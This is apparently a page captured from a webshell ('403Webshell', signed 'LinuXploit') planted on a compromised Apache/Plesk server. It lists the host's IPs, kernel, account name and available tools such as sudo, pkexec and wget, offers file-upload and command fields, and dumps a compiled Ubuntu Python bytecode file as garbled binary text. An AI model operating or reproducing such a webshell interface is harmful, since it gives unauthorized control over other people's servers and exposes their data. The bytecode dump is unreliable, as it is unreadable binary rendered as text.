403Webshell
Server IP : 172.67.131.151  /  Your IP : 104.23.197.229
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/DistUpgrade/__pycache__/DistUpgradePatcher.cpython-38.pyc
U

k�]��@s.ddlZddlZGdd�de�Zddd�ZdS)�Nc@seZdZdZdS)�
PatchErrorz  Error during the patch process N)�__name__�
__module__�__qualname__�__doc__�rr�@/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradePatcher.pyrsrc	Cstd�\}}t|dd��}|��}W5QRXd}}|}	t|dd��}|��}
W5QRX|
D�]J}|	|k�r||��}|�d�r�|dd�}|�dd�\}}
|
r�td	��|�d�\}}}tj	||||dd
�\}}|||<q\|d}|dd��d�\}}}t
|�}|d8}|d
k�r|d}nt
|�}|dk�rH|||�=|}	|d8}n2|dk�rX|}	n"|dk�rn|||�=ntd|��q\|	|kr\|dk�r�|}	q\|d7}|�||�q\d
�|�}|�r�t
��}|�|�d��|��|k�r�td��t|ddd��}|�|�W5QRXdS)z� python implementation of enough "ed" to apply ed-style
        patches. Note that this patches in memory so its *not*
        suitable for big files
    �zUTF-8)�encodingrzs/N�/�zflags for s// not supported yet)�count����,��c�a�dzunknown command: '%s'z.
z(the md5sum after patching is not correct�wT)�range�open�	readlines�strip�
startswith�rsplitr�	partition�re�subn�int�insert�join�hashlib�md5�update�encodeZ	hexdigest�write)ZorigZedpatchZ
result_md5sumZSTATE_EXPECT_COMMANDZSTATE_EXPECT_DATA�fZ
orig_lines�start�end�state�lines�lineZsubs�flagsZregexp�sep�repl�newr
ZcommandZ	start_strZend_str�resultr"rrr�patchsf�











r1)N)r!r�	Exceptionrr1rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit